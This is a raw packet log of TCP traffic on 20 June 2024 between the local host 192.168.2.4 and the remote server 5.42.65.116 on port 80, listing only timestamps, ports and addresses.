Jun 20, 2024 06:49:10.728151083 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728167057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728182077 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728200912 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728219986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728255033 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728260994 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728296041 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728307962 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728329897 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728364944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728388071 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728396893 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728413105 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728431940 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728446007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728465080 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728513956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728527069 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728562117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728598118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728610992 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728631973 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728645086 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728669882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728677988 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728703022 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728737116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728751898 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728771925 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728785992 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728806973 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728820086 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728841066 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728863955 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728874922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728894949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728909016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728926897 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728944063 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728955030 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.729197025 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.731905937 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.731935978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.731967926 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.731986046 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.731992960 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732042074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732044935 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732088089 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732100010 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732134104 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732155085 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732181072 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732187033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732238054 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732239962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732274055 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732295036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732309103 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732316971 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732363939 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732389927 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732408047 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732420921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732423067 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732450962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732458115 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732466936 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732484102 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732491970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732511044 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732513905 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732527018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732542992 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732551098 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732559919 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732573032 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732575893 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732592106 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732604980 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732608080 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732623100 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732639074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732640028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732656956 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732662916 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732673883 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732682943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732691050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732705116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.732712030 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.732753038 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.817394972 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.817434072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.817488909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.817503929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.817540884 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.817583084 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.817596912 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.817636967 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.817694902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.817697048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.817729950 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.817743063 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.817778111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.817779064 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.817831993 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.817867041 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.817879915 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.817918062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.817918062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.817969084 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818005085 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818017960 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818037033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818052053 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818069935 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818087101 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818103075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818141937 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818150043 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818173885 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818183899 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818208933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818223953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818243027 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818257093 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818289995 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818346977 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818396091 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818640947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818674088 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818727016 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818730116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818780899 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818814993 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818830013 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818866968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818901062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818917036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818934917 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818948030 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.818969965 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.818983078 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819004059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819037914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819073915 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819078922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819109917 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819113970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819144011 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819147110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819163084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819180012 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819205046 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819212914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819240093 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819262028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819266081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819298029 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819334030 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819346905 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819370031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819381952 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819417953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819422960 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819457054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819489956 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819504976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819524050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819539070 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819556952 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819575071 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819591999 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819608927 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819626093 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819659948 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819674015 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819694996 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819708109 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819730997 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819744110 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819763899 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819780111 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819797993 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819813013 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819832087 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819840908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819865942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819881916 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819899082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819912910 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819931984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819947004 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.819969893 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.819981098 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820024014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820056915 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820074081 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820089102 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820108891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820122957 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820143938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820156097 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820169926 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820188999 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820204020 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820223093 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820236921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820256948 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820276022 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820290089 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820305109 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820327044 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820379019 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820409060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820441008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820476055 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820499897 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820527077 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820529938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820563078 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820595980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820611000 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820630074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820646048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820662975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820681095 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820697069 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820729971 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820744038 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820764065 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820777893 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820797920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820810080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820831060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820842981 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820864916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.820879936 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.820905924 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.823692083 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.823744059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.823777914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.823831081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.823880911 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.823925972 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.823934078 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.823967934 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.823980093 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824001074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824031115 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824053049 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824080944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824088097 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824115038 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824167013 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824168921 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824219942 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824222088 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824273109 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824307919 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824331045 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824359894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824368954 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824393988 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824410915 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824428082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824440956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824460983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824474096 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824503899 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824508905 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824542999 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824557066 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824579954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824589968 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824613094 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824626923 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824646950 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824660063 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824678898 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824692011 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824712992 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824737072 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824745893 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824769974 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824779034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824793100 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824812889 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824826002 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824846983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824862003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824882030 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.824893951 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.824925900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.909451962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909508944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909544945 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909578085 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909631014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909662962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909703970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909737110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909744024 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.909744024 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.909744024 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.909769058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.909780025 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.909789085 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909821033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909838915 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.909856081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909868002 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.909888983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909921885 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909944057 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.909954071 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.909981966 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.909987926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910016060 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910033941 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910448074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910501003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910506964 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910536051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910554886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910587072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910619020 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910640955 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910650969 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.910676956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.910686016 CEST	80	49743	5.42.65.116	192.168.2.4
